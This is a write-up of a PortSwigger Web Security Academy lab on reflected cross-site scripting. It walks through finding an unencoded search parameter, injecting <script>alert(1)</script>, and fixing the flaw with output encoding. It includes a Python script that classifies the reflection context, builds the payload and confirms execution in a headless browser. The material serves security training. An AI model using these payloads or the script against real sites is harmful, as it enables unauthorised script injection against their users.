LearnCross-Site Scripting (XSS) › Reflected XSS into HTML context with nothing enc…

Reflected XSS into HTML context with nothing encoded

PortSwigger Apprentice Cross-Site Scripting (XSS)

Original lab: Reflected XSS into HTML context with nothing encoded on PortSwigger ↗

Cross-site scripting is the vulnerability class that makes "don't trust the client" a rule instead of a suggestion — every reflected XSS bug ultimately comes down to a server taking a user's own input and echoing it back into a page as if it were trusted markup. This lab is the purest version of that mistake: a search box whose value goes straight into the HTML with no encoding at all. It's the natural starting point for a series on XSS because every other lab in this topic is a variation on the same question — where does our input land, and what does the page do with it before we can change that answer.

The Target

The application is a blog with a search feature. A normal search request looks like:

GET /?search=test

and the response echoes the search term back into the page, presumably to show the user what they searched for.

The Investigation

The only real question for a reflected parameter is where in the response it lands and whether anything encodes it on the way. We sent a search term and looked at the raw response: the value came back verbatim, sitting between two HTML tags rather than inside an attribute or a script block. No < or > had been converted to &lt;/&gt;, and no quotes had been touched. That's the simplest possible context to work with — if the page will place our string directly into the body of the HTML, we don't need to break out of anything. We can just supply a tag.

The Exploit

We submitted the standard <script> payload directly as the search term:

GET /?search=<script>alert(1)</script>

The response contained the literal <script>alert(1)</script> tag inside the page body, and the browser parsed and executed it on load, firing the alert.

Comparing Notes: PortSwigger's Official Solution

PortSwigger's published solution is the same two steps: paste <script>alert(1)</script> into the search box and click Search. There's no divergence in technique here — this lab has exactly one intended path, and we took it. The only difference worth naming is delivery: their solution assumes manual entry into the search box through the lab's own UI, while we drove the same request directly with an HTTP client and confirmed execution with a headless browser listening for the alert() dialog. For a single unauthenticated GET request, those two approaches are functionally identical.

What This Teaches Us

Nothing about the search parameter suggested danger on its own — the risk was entirely in what the server did with it after the fact: concatenating unescaped user input into an HTML response is already a complete vulnerability, no filter bypass or context-breaking required. The fix is output encoding: HTML-encode <, >, &, and quote characters before writing user input into the page, so a browser sees &lt;script&gt; as literal text rather than a tag to parse. Every later lab in this series exists because some encoding or filtering *was* in place — this one is the baseline for what happens when there's none at all.


The automated solution

Here's the full Python script that solves this lab against your own instance — the same technique from the writeup, packaged to run. View on GitHub.

Show the solution script (Python)
#!/usr/bin/env python3
"""
Reflected XSS into HTML context with nothing encoded
PortSwigger Web Security Academy — Cross-Site Scripting (XSS)

Companion script for the writeup: 01-reflected-xss-html-context-nothing-encoded.md

What this does:
    Injects a canary into the `search` parameter, confirms it reflects between
    HTML tags with no encoding applied, then delivers the standard <script>
    payload and confirms execution with a headless browser listening for the
    alert() dialog (a plain HTTP client can't observe JS execution).

Usage:
    python 01-reflected-xss-html-context-nothing-encoded.py <lab-url>
    e.g. python 01-reflected-xss-html-context-nothing-encoded.py https://0a1b00fa03d9c8b6803b56b400eb00d5.web-security-academy.net

Requirements:
    pip install httpx
    pip install playwright && playwright install chromium
"""

import re
import sys
import urllib.parse
import httpx
from playwright.sync_api import sync_playwright

CANARY = "xssCANARY7531"


def classify_and_craft(client: httpx.Client, lab_url: str) -> str:
    """Reproduces detect_reflected_xss() + craft_xss_payload()'s html-context branch."""
    r = client.get(lab_url, params={"search": CANARY})
    if CANARY not in r.text:
        raise RuntimeError("canary not reflected in 'search' parameter")

    # Context classification: not inside <script>, not inside href=, not inside
    # a tag attribute -- landing plainly between two HTML tags.
    if re.search(rf"<script[^>]*>[^<]*{CANARY}", r.text, re.IGNORECASE | re.DOTALL):
        context = "js_string"
    elif re.search(rf'href="[^"]*{CANARY}', r.text, re.IGNORECASE):
        context = "href"
    elif re.search(rf"<[^>]+{CANARY}", r.text, re.IGNORECASE):
        context = "attribute"
    else:
        context = "html"
    print(f"[+] Context classified as: {context}")

    angle_encoded = False
    r = client.get(lab_url, params={"search": f"{CANARY}<>"})
    if "&lt;" in r.text or "&gt;" in r.text:
        angle_encoded = True
        print("[*] Angle brackets are HTML-encoded")
    else:
        print("[*] Angle brackets are NOT encoded -- new tags can be injected")

    if context == "html":
        payload = '" onmouseover="alert(1)' if angle_encoded else "<script>alert(1)</script>"
    else:
        raise RuntimeError(f"unexpected context for this lab: {context}")

    return payload


def solve(lab_url: str) -> None:
    client = httpx.Client(base_url=lab_url, follow_redirects=True, timeout=20)
    client.get("/")  # warm up, grab session cookie
    session = client.cookies.get("session", "")
    domain = urllib.parse.urlparse(lab_url).netloc

    payload = classify_and_craft(client, lab_url)
    print(f"[*] Crafted payload: {payload}")

    url = f"{lab_url}/?search={urllib.parse.quote(payload)}"

    alert_fired = False
    with sync_playwright() as p:
        browser = p.chromium.launch(headless=True)
        ctx = browser.new_context()
        if session:
            ctx.add_cookies([{"name": "session", "value": session, "domain": domain, "path": "/"}])
        page = ctx.new_page()

        def on_dialog(dialog):
            nonlocal alert_fired
            alert_fired = True
            dialog.accept()

        page.on("dialog", on_dialog)
        try:
            page.goto(url, wait_until="domcontentloaded", timeout=15000)
            page.wait_for_timeout(3000)
        except Exception:
            pass
        browser.close()

    print(f"[{'+' if alert_fired else '-'}] alert() {'fired' if alert_fired else 'did NOT fire'}")

    check = client.get("/")
    if "Congratulations" in check.text:
        print("[+] Lab solved.")
    else:
        print("[-] Not solved yet.")


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <lab-url>")
        sys.exit(1)
    solve(sys.argv[1].rstrip("/"))

Related labs

Want to go from zero to junior pentester?

These walkthroughs are a taste. The full path — live, hands-on, in a small cohort — starts with a free webinar.

Join the Free Live Webinar →